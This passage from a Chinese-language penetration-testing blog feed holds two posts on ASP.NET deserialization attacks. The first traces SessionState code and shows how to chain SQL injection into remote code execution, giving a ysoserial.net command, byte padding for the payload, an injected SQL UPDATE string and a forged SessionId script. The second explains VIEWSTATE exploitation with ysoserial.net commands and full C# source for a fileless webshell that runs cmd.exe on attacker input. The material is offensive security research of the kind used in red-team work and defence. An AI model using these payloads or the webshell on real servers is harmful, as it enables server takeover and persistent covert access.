class="n">cmd</span><span class="p">.</span><span class="n">Parameters</span><span class="p">[</span><span class="m">3</span><span class="p">].</span><span class="n">Value</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">DBNull</span><span class="p">;</span> <span class="c1">// @lockDate or @lockAge</span> <span class="n">cmd</span><span class="p">.</span><span class="n">Parameters</span><span class="p">[</span><span class="m">4</span><span class="p">].</span><span class="n">Value</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">DBNull</span><span class="p">;</span> <span class="c1">// @lockCookie</span> <span class="n">cmd</span><span class="p">.</span><span class="n">Parameters</span><span class="p">[</span><span class="m">5</span><span class="p">].</span><span class="n">Value</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">DBNull</span><span class="p">;</span> <span class="c1">// @actionFlags</span> <span class="k">using</span><span class="p">(</span><span class="n">reader</span> <span class="p">=</span> <span class="nf">SqlExecuteReaderWithRetry</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">CommandBehavior</span><span class="p">.</span><span class="n">Default</span><span class="p">))</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">reader</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span> <span class="k">try</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">reader</span><span class="p">.</span><span class="nf">Read</span><span class="p">())</span> <span class="p">{</span> <span class="n">buf</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">[])</span> <span class="n">reader</span><span class="p">[</span><span class="m">0</span><span class="p">];</span> <span class="p">}</span> <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="n">Exception</span> <span class="n">e</span><span class="p">)</span> <span class="p">{</span> <span class="nf">ThrowSqlConnectionException</span><span class="p">(</span><span class="n">cmd</span><span class="p">.</span><span class="n">Connection</span><span class="p">,</span> <span class="n">e</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">buf</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* Get short item */</span> <span class="n">buf</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">[])</span> <span class="n">cmd</span><span class="p">.</span><span class="n">Parameters</span><span class="p">[</span><span class="m">1</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="p">}</span> <span class="k">using</span><span class="p">(</span><span class="n">stream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">(</span><span class="n">buf</span><span class="p">))</span> <span class="p">{</span> <span class="n">item</span> <span class="p">=</span> <span class="n">SessionStateUtility</span><span class="p">.</span><span class="nf">DeserializeStoreData</span><span class="p">(</span><span class="n">context</span><span class="p">,</span> <span class="n">stream</span><span class="p">,</span> <span class="n">s_configCompressionEnabled</span><span class="p">);</span> <span class="n">_rqOrigStreamLen</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">stream</span><span class="p">.</span><span class="n">Position</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">item</span><span class="p">;</span> <span class="p">}</span> <span class="k">finally</span> <span class="p">{</span> <span class="nf">DisposeOrReuseConnection</span><span class="p">(</span><span class="k">ref</span> <span class="n">conn</span><span class="p">,</span> <span class="n">usePooling</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">class</span> <span class="nc">SqlStateConnection</span> <span class="p">:</span> <span class="n">IDisposable</span> <span class="p">{</span> <span class="k">internal</span> <span class="n">SqlCommand</span> <span class="n">TempGet</span> <span class="p">{</span> <span class="k">get</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">_cmdTempGet</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span> <span class="n">_cmdTempGet</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SqlCommand</span><span class="p">(</span><span class="s">"dbo.TempGetStateItem3"</span><span class="p">,</span> <span class="n">_sqlConnection</span><span class="p">);</span> <span class="n">_cmdTempGet</span><span class="p">.</span><span class="n">CommandType</span> <span class="p">=</span> <span class="n">CommandType</span><span class="p">.</span><span class="n">StoredProcedure</span><span class="p">;</span> <span class="n">_cmdTempGet</span><span class="p">.</span><span class="n">CommandTimeout</span> <span class="p">=</span> <span class="n">s_commandTimeout</span><span class="p">;</span> <span class="c1">// ignore process of setting parameters</span> <span class="p">}</span> <span class="k">return</span> <span class="n">_cmdTempGet</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>我們可以從程式碼清楚看出主要是呼叫 <code class="language-plaintext highlighter-rouge">ASPState.dbo.TempGetStateItem3</code> Stored Procedure 取得 Session 的序列化二進制資料並保存到 buf 變數,最後將 buf 傳入 <code class="language-plaintext highlighter-rouge">SessionStateUtility.DeserializeStoreData</code> 進行反序列化還原出 Session 物件,而 TempGetStateItem3 這個 SP 則是相當於在執行 <code class="language-plaintext highlighter-rouge">SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions</code>,所以可以知道 Session 是儲存在 ASPStateTempSessions 資料表的 SessionItemShort 欄位中。接著讓我們繼續往下看關鍵的 DeserializeStoreData 做了什麼樣的操作。同樣地,行數偏多,有需求的朋友請自行下拉 XD</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">System.Web.SessionState</span> <span class="p">{</span> <span class="k">public</span> <span class="k">static</span> <span class="k">class</span> <span class="nc">SessionStateUtility</span> <span class="p">{</span> <span class="p">[</span><span class="nf">SecurityPermission</span><span class="p">(</span><span class="n">SecurityAction</span><span class="p">.</span><span class="n">Assert</span><span class="p">,</span> <span class="n">SerializationFormatter</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span> <span class="k">internal</span> <span class="k">static</span> <span class="n">SessionStateStoreData</span> <span class="nf">Deserialize</span><span class="p">(</span><span class="n">HttpContext</span> <span class="n">context</span><span class="p">,</span> <span class="n">Stream</span> <span class="n">stream</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">timeout</span><span class="p">;</span> <span class="n">SessionStateItemCollection</span> <span class="n">sessionItems</span><span class="p">;</span> <span class="kt">bool</span> <span class="n">hasItems</span><span class="p">;</span> <span class="kt">bool</span> <span class="n">hasStaticObjects</span><span class="p">;</span> <span class="n">HttpStaticObjectsCollection</span> <span class="n">staticObjects</span><span class="p">;</span> <span class="n">Byte</span> <span class="n">eof</span><span class="p">;</span> <span class="k">try</span> <span class="p">{</span> <span class="n">BinaryReader</span> <span class="n">reader</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BinaryReader</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span> <span class="n">timeout</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadInt32</span><span class="p">();</span> <span class="n">hasItems</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadBoolean</span><span class="p">();</span> <span class="n">hasStaticObjects</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadBoolean</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="n">hasItems</span><span class="p">)</span> <span class="p">{</span> <span class="n">sessionItems</span> <span class="p">=</span> <span class="n">SessionStateItemCollection</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">reader</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">sessionItems</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SessionStateItemCollection</span><span class="p">();</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">hasStaticObjects</span><span class="p">)</span> <span class="p">{</span> <span class="n">staticObjects</span> <span class="p">=</span> <span class="n">HttpStaticObjectsCollection</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">reader</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">staticObjects</span> <span class="p">=</span> <span class="n">SessionStateUtility</span><span class="p">.</span><span class="nf">GetSessionStaticObjects</span><span class="p">(</span><span class="n">context</span><span class="p">);</span> <span class="p">}</span> <span class="n">eof</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadByte</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="n">eof</span> <span class="p">!=</span> <span class="m">0xff</span><span class="p">)</span> <span class="p">{</span> <span class="k">throw</span> <span class="k">new</span> <span class="nf">HttpException</span><span class="p">(</span><span class="n">SR</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">SR</span><span class="p">.</span><span class="n">Invalid_session_state</span><span class="p">));</span> <span class="p">}</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">EndOfStreamException</span><span class="p">)</span> <span class="p">{</span> <span class="k">throw</span> <span class="k">new</span> <span class="nf">HttpException</span><span class="p">(</span><span class="n">SR</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">SR</span><span class="p">.</span><span class="n">Invalid_session_state</span><span class="p">));</span> <span class="p">}</span> <span class="k">return</span> <span class="k">new</span> <span class="nf">SessionStateStoreData</span><span class="p">(</span><span class="n">sessionItems</span><span class="p">,</span> <span class="n">staticObjects</span><span class="p">,</span> <span class="n">timeout</span><span class="p">);</span> <span class="p">}</span> <span class="k">static</span> <span class="k">internal</span> <span class="n">SessionStateStoreData</span> <span class="nf">DeserializeStoreData</span><span class="p">(</span><span class="n">HttpContext</span> <span class="n">context</span><span class="p">,</span> <span class="n">Stream</span> <span class="n">stream</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">compressionEnabled</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">SessionStateUtility</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">context</span><span class="p">,</span> <span class="n">stream</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>我們可以看到實際上 DeserializeStoreData 又是把反序列化過程轉交給其他類別,而依據取出的資料不同,可能會轉交給 <code class="language-plaintext highlighter-rouge">SessionStateItemCollection.Deserialize</code> 或 <code class="language-plaintext highlighter-rouge">HttpStaticObjectsCollection.Deserialize</code> 做處理,在觀察程式碼後發現 <code class="language-plaintext highlighter-rouge">HttpStaticObjectsCollection</code> 的處理相對單純,所以我個人就選擇往這個分支下去研究。</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">System.Web</span> <span class="p">{</span> <span class="k">public</span> <span class="k">sealed</span> <span class="k">class</span> <span class="nc">HttpStaticObjectsCollection</span> <span class="p">:</span> <span class="n">ICollection</span> <span class="p">{</span> <span class="k">static</span> <span class="k">public</span> <span class="n">HttpStaticObjectsCollection</span> <span class="nf">Deserialize</span><span class="p">(</span><span class="n">BinaryReader</span> <span class="n">reader</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">count</span><span class="p">;</span> <span class="kt">string</span> <span class="n">name</span><span class="p">;</span> <span class="kt">string</span> <span class="n">typename</span><span class="p">;</span> <span class="kt">bool</span> <span class="n">hasInstance</span><span class="p">;</span> <span class="n">Object</span> <span class="n">instance</span><span class="p">;</span> <span class="n">HttpStaticObjectsEntry</span> <span class="n">entry</span><span class="p">;</span> <span class="n">HttpStaticObjectsCollection</span> <span class="n">col</span><span class="p">;</span> <span class="n">col</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">HttpStaticObjectsCollection</span><span class="p">();</span> <span class="n">count</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadInt32</span><span class="p">();</span> <span class="k">while</span> <span class="p">(</span><span class="n">count</span><span class="p">--</span> <span class="p">&gt;</span> <span class="m">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">name</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadString</span><span class="p">();</span> <span class="n">hasInstance</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadBoolean</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="n">hasInstance</span><span class="p">)</span> <span class="p">{</span> <span class="n">instance</span> <span class="p">=</span> <span class="n">AltSerialization</span><span class="p">.</span><span class="nf">ReadValueFromStream</span><span class="p">(</span><span class="n">reader</span><span class="p">);</span> <span class="n">entry</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">HttpStaticObjectsEntry</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">instance</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// skipped</span> <span class="p">}</span> <span class="n">col</span><span class="p">.</span><span class="n">_objects</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">entry</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">col</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>跟進去一看,發現 HttpStaticObjectsCollection 取出一些 bytes 之後,又把過程轉交給 <code class="language-plaintext highlighter-rouge">AltSerialization.ReadValueFromStream</code> 進行處理,看到這的朋友們或許會臉上三條線地心想:「該不會又要追進去吧 . . 」,不過其實到此為止就已足夠,因為 AltSerialization 實際上類似於 BinaryFormatter 的包裝,到此已經有足夠資訊作利用,另外還有一個原因兼好消息,當初我程式碼追到此處時,上網一查這個物件,發現 <a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a> 已經有建立 AltSerialization 反序列化 payload 的 plugin,所以可以直接掏出這個利器來使用!下面一行指令就可以產生執行系統指令 calc.exe 的 base64 編碼後的 payload。</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ysoserial.exe <span class="nt">-p</span> Altserialization <span class="nt">-M</span> HttpStaticObjectsCollection <span class="nt">-o</span> <span class="nb">base64</span> <span class="nt">-c</span> <span class="s2">"calc.exe"</span> </code></pre></div></div> <p>不過到此還是有個小問題需要解決,ysoserial.net 的 AltSerialization plugin 所建立的 payload 是攻擊 SessionStateItemCollection 或 HttpStaticObjectsCollection 兩個類別的反序列化操作,而我們儲存在資料庫中的 session 序列化資料是由在此之上還額外作了一層包裝的 SessionStateUtility 類別處理的,所以必須要再做點修飾。回頭再去看看程式碼,會發現 SessionStateUtility 也只添加了幾個 bytes,減化後如下所示:</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">timeout</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadInt32</span><span class="p">();</span> <span class="n">hasItems</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadBoolean</span><span class="p">();</span> <span class="n">hasStaticObjects</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadBoolean</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="n">hasStaticObjects</span><span class="p">)</span> <span class="n">staticObjects</span> <span class="p">=</span> <span class="n">HttpStaticObjectsCollection</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">reader</span><span class="p">);</span> <span class="n">eof</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadByte</span><span class="p">();</span> </code></pre></div></div> <p>對於 Int32 要添加 4 個 bytes,Boolean 則是 1 個 byte,而因為要讓程式路徑能進入 HttpStaticObjectsCollection 的分支,必須讓第 6 個 byte 為 1 才能讓條件達成,先將原本從 ysoserial.net 產出的 payload 從 base64 轉成 hex 表示,再前後各別添加 6、1 bytes,如下示意圖:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> timeout false true HttpStaticObjectsCollection eof ┌─────────┐ ┌┐ ┌┐ ┌───────────────────────────────────────────────┐ ┌┐ 00 00 00 00 00 01 010000000001140001000000fff ... 略 ... 0000000a0b ff </code></pre></div></div> <p>修飾完的這個 payload 就能用來攻擊 SessionStateUtility 類別了!</p> <p>最後的步驟就是利用開頭的 SQL Injection 將惡意的序列化內容注入進去資料庫,如果正常瀏覽目標網站時有出現 ASP.NET_SessionId 的 Cookie 就代表已經有一筆對應的 Session 記錄儲存在資料庫裡,所以我們只需要執行如下的 SQL Update 語句:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>?id=1; UPDATE ASPState.dbo.ASPStateTempSessions SET SessionItemShort = 0x{Hex_Encoded_Payload} WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; -- </code></pre></div></div> <p>分別將 <code class="language-plaintext highlighter-rouge">{ASP.NET_SessionId}</code> 替換成自己的 ASP.NET_SessionId 的 Cookie 值以及 <code class="language-plaintext highlighter-rouge">{Hex_Encoded_Payload}</code> 替換成前面準備好的序列化 payload 即可。</p> <p>那假如沒有 ASP.NET_SessionId 怎麼辦?這表示目標可能還未儲存任何資料在 Session 之中,所以也就不會產生任何記錄在資料庫裡,但既然沒有的話,那我們就硬塞一個 Cookie 給它!ASP.NET 的 SessionId 是透過亂數產生的 24 個字元,但使用了客製化的字元集,可以直接使用以下的 Python script 產生一組 SessionId,例如:plxtfpabykouhu3grwv1j1qw,之後帶上 <code class="language-plaintext highlighter-rouge">Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw</code> 瀏覽任一個 aspx 頁面,理論上 ASP.NET 就會自動在資料庫裡添加一筆記錄。</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">random</span> <span class="n">chars</span> <span class="o">=</span> <span class="s">'abcdefghijklmnopqrstuvwxyz012345'</span> <span class="k">print</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="n">chars</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">24</span><span class="p">)))</span> </code></pre></div></div> <p>假如在資料庫裡仍然沒有任何記錄出現,那就只能手動刻 INSERT 的 SQL 來創造一個記錄,至於如何刻出這部分?只要看看程式碼應該就可以很容易構造出來,所以留給大家自行去玩 :P</p> <p>等到 Payload 順利注入後,只要再次用這個 Cookie <code class="language-plaintext highlighter-rouge">ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw</code> 瀏覽任何一個 aspx 頁面,就會觸發反序列化執行任意系統指令!</p> <p>題外話,利用 SessionState 的反序列化取得 ASP.NET 網站應用程式主機控制權的場景並不僅限於 SQL Injection。在內網滲透測試的過程中,經常會遇到的情境是,我們透過各方的資訊洩漏 ( 例如:內部 GitLab、任意讀檔等 ) 取得許多 SQL Server 的帳號、密碼,但唯獨取得不了目標 ASP.NET 網站應用程式的 Windows 主機的帳號密碼,而為了達成目標 ( 控制指定的網站主機 ),我們就曾經使用過這個方式取得目標的控制權,所以作為內網橫向移動的手段也是稍微有價值且非常有趣。至於還能有什麼樣的花樣與玩法,就要靠各位持續地發揮想像力!</p> https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/ https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate Tue, 21 Apr 2020 00:00:00 +0800 玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門 <h2 id="前言">前言</h2> <p>這篇文章呼應我在研討會 <a href="https://devco.re/conf/2019/">DEVCORE CONFERENCE 2019</a> 分享的主題,如何用小缺陷一步步擊破使用 ASP.NET 框架所撰寫的堅固的網站應用程式,其中之一的內容就是關於我們在此之前過往紅隊演練專案中,成功數次透過 VIEWSTATE 的反序列化攻擊並製造進入內網突破口的利用方式以及心得,也就是此篇文章的主題。</p> <h2 id="內文">內文</h2> <p>最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688,問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key,而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了,可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊,從而達成 Remote Code Execution 控制整台主機伺服器。</p> <p>更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog:</p> <ul> <li><a href="https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys">CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys</a></li> </ul> <p>對於 VIEWSTATE exploit 分析在網路上已經有無數篇文章進行深入的探討,所以在此篇文章中將不再重複贅述,而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。</p> <p>最基本、常見的方式是直接使用工具 <a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a> 的 ViewState Plugin 產生合法 MAC 與正確的加密內容,TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe,就可以觸發執行任意系統指令。</p> <p>例如:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 &gt; c:\pwn.txt" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5" </code></pre></div></div> <p>異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error,所以我們也無法直接得知指令執行的結果,但既然有了任意執行,要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。</p> <p>But ..</p> <p>在滲透測試的實戰中,事情往往沒這麼美好。現今企業資安意識都相對高,目標伺服器環境出現以下幾種限制都已是常態:</p> <ul> <li>封鎖所有主動對外連線</li> <li>禁止查詢外部 DNS</li> <li>網頁目錄無法寫入</li> <li>網頁目錄雖可寫,但存在 Website Defacement 防禦機制,會自動復原檔案</li> </ul> <p>所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力,這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution,換句話說,可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力,而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用,例如 <a href="https://docs.microsoft.com/zh-tw/dotnet/api/system.web.httpcontext.current?view=netframework-4.8">System.Web.HttpContext.Current</a> 就可以取得當下 HTTP 請求上下文的物件,也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺,並且過程全是在記憶體中動態處理,於是就等同於建立了無檔案的 WebShell 後門!</p> <p>我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile,而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案,後面用 ; 分號分隔加上所依賴需要引入的 dll。</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5" </code></pre></div></div> <p>關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到,像我的環境是在這個路徑 <code class="language-plaintext highlighter-rouge">C:\Windows\Microsoft.NET\Framework64\v4.0.30319</code> 之中。</p> <p>至於最關鍵的 ExploitClass.cs 該如何撰寫呢?將來會試著提交給 <a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a>,就可以在範例檔案裡找到它,或是可以先直接看這裡:</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">E</span> <span class="p">{</span> <span class="k">public</span> <span class="nf">E</span><span class="p">()</span> <span class="p">{</span> <span class="n">System</span><span class="p">.</span><span class="n">Web</span><span class="p">.</span><span class="n">HttpContext</span> <span class="n">context</span> <span class="p">=</span> <span class="n">System</span><span class="p">.</span><span class="n">Web</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">.</span><span class="n">Current</span><span class="p">;</span> <span class="n">context</span><span class="p">.</span><span class="n">Server</span><span class="p">.</span><span class="nf">ClearError</span><span class="p">();</span> <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="nf">Clear</span><span class="p">();</span> <span class="k">try</span> <span class="p">{</span> <span class="n">System</span><span class="p">.</span><span class="n">Diagnostics</span><span class="p">.</span><span class="n">Process</span> <span class="n">process</span> <span class="p">=</span> <span class="k">new</span> <span class="n">System</span><span class="p">.</span><span class="n">Diagnostics</span><span class="p">.</span><span class="nf">Process</span><span class="p">();</span> <span class="n">process</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">FileName</span> <span class="p">=</span> <span class="s">"cmd.exe"</span><span class="p">;</span> <span class="kt">string</span> <span class="n">cmd</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="n">Request</span><span class="p">.</span><span class="n">Form</span><span class="p">[</span><span class="s">"cmd"</span><span class="p">];</span> <span class="n">process</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">Arguments</span> <span class="p">=</span> <span class="s">"/c "</span> <span class="p">+</span> <span class="n">cmd</span><span class="p">;</span> <span class="n">process</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">RedirectStandardOutput</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span> <span class="n">process</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">RedirectStandardError</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span> <span class="n">process</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">UseShellExecute</span> <span class="p">=</span> <span class="k">false</span><span class="p">;</span> <span class="n">process</span><span class="p">.</span><span class="nf">Start</span><span class="p">();</span> <span class="kt">string</span> <span class="n">output</span> <span class="p">=</span> <span class="n">process</span><span class="p">.</span><span class="n">StandardOutput</span><span class="p">.</span><span class="nf">ReadToEnd</span><span class="p">();</span> <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">output</span><span class="p">);</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">Exception</span><span class="p">)</span> <span class="p">{}</span> <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="nf">Flush</span><span class="p">();</span> <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="nf">End</span><span class="p">();</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>其中 <code class="language-plaintext highlighter-rouge">Server.ClearError()</code> 和 <code class="language-plaintext highlighter-rouge">Response.End()</code> 都是必要且重要的一步,因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error,而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤,而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端,避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。</p> <p>到這個步驟的話,理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE,就可以像操作一般 WebShell 一樣: <img src="/assets/img/blog/20200311/play-with-viewstate-exploit-and-create-fileless-webshell.png" alt="" /></p> <p>不過有時也會出現這種情境: <img src="/assets/img/blog/20200311/cover.png" alt="" /></p> <p>不論怎麼改 Payload 再重送永遠都是得到 Server Error,於是就開始懷疑自己的人生 Q_Q</p> <p>但也別急著灰心,可能只是你遇上的目標有很乖地定期更新了伺服器而已,因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch,導致無法直接利用,好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用!</p> <p>詳細細節可以閱讀這篇文章:<a href="https://silentbreaksecurity.com/re-animating-activitysurrogateselector/">Re-Animating ActivitySurrogateSelector</a> By <a href="https://silentbreaksecurity.com/author/nick/">Nick Landers</a></p> <p>總而言之,如果遇到上述情形,可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器,順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true,隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5" </code></pre></div></div> <p>如果上述一切都很順利、成功執行系統指令並回傳了結果,基本上就足夠做大部分事情,而剩下的就是繼續盡情發揮你的想像力吧!</p> <p>不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的,因為 .NET 內部演算法以及需要的環境參數組合稍微複雜,使得工具沒辦法輕易涵蓋所有可能情況,而當遇到這種情形時,我目前選擇的解決方法都是發揮工人智慧,嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案,產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話,也歡迎來和我交流聊聊天。</p> https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/ 